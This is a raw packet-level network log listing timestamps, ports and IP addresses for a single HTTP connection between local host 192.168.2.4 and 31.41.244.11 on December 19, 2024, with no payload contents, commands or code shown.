Dec 19, 2024 20:11:12.995507002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.995583057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.995675087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.996469021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.996535063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.996579885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.996638060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.997461081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.997528076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.997708082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.997775078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.998534918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.998599052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.998657942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.998703003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.999589920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.999646902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.999692917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.999741077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.000696898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.000749111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.000807047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.000859022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.001708984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.001734018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.001775026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.002751112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.002820015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.003464937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.003523111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.003823996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.003834009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.003879070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.004878998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.004928112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.005280018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.005335093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.005937099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.005947113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.005990982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.006938934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.006992102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.007057905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.007117033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.008065939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.008080006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.008126974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.009196997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.009260893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.009303093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.009347916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.010118008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.010171890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.010189056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.010235071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.011130095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.011190891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.011259079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.011343002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.012192965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.012262106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.012972116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.013022900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.013348103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.013411999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.013639927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.013694048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.014324903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.014380932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.014452934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.014503956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.015414953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.015424967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.015485048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.016433001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.016496897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.016980886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.017035007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.017503023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.017517090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.017560005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.018657923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.018760920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.018774986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.018807888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.019573927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.019649982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.019999981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.020103931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.020673990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.020684004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.020733118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.021661997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.021729946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.022032976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.022094011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.022758961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.022819042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.022881985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.022958994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.024203062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.024213076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.024266958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.025142908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.025211096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.025758028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.025820017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.026128054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.026139021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.026191950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.028500080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.028511047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.028564930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.029382944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.029429913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.029453993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.029469013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.029488087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.029511929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.030189037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.030256987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.030297995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.030360937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.031188965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.031235933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.031455994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.031532049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.032210112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.032265902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.033233881 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.033344984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.033384085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.033395052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.033457041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.034276009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.034333944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.034394979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.034460068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.035378933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.035388947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.035437107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.036401987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.036463022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.036520004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.036583900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.037448883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.037503958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.037992954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.038043022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.038604021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.038614035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.038666964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.039601088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.039658070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.039721012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.039778948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.040623903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.040673971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.040750980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.040796041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.041718006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.041774988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.041822910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.041878939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.042752981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.042817116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.043596983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.043646097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.043811083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.043864012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.044617891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.044694901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.044989109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.045001030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.045037985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.045058012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.045883894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.046045065 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.046757936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.046808004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.046972990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.046983004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.047035933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.047981977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.048036098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.048316956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.048372984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.049015999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.049061060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.186634064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.186749935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.186764002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.186815023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.187093019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.187199116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.187269926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.187325001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.188164949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.188214064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.188347101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.188401937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.189273119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.189296007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.189330101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.189344883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.190304041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.190370083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.190417051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.190469980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.191389084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.191446066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.191519976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.191602945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.192356110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.192444086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.192774057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.192830086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.193442106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.193499088 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.193638086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.193691969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.194492102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.194545031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.194686890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.194736958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.195528030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.195588112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.195888996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.195945024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.196583033 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.196634054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.196703911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.196774006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.197634935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.197684050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.197758913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.197819948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.198762894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.198771000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.198829889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.199805975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.199860096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.199928999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.200007915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.200849056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.200930119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.200985909 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.201049089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.201826096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.201881886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.202158928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.202284098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.202920914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.202982903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.203088999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.203133106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.203958035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.204011917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.204212904 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.204266071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.205003977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.205063105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.205111027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.205229044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.206034899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.206101894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.206238031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.206300974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.207176924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.207238913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.207416058 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.207500935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.208153963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.208219051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.208461046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.208533049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.209228039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.209279060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.209770918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.209824085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.210283995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.210328102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.210675955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.210728884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.211345911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.211402893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.211467028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.211519003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.212400913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.212457895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.212598085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.212646961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.213567019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.213623047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.213674068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.213721991 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.214554071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.214641094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.214720011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.214772940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.215553045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.215624094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.215663910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.215733051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.216607094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.216661930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.216793060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.216862917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.217658043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.217717886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.217787027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.217837095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.218704939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.218795061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.218920946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.218971014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.219759941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.219837904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.219867945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.219928026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.220858097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.220870018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.220946074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.221923113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.221985102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.222106934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.222165108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.223010063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.223064899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.223125935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.223211050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.224143982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.224152088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.224209070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.225462914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.225517988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.225670099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.225722075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.226226091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.226238012 CET	80	49768	31.41.244.11	192.168.2.4
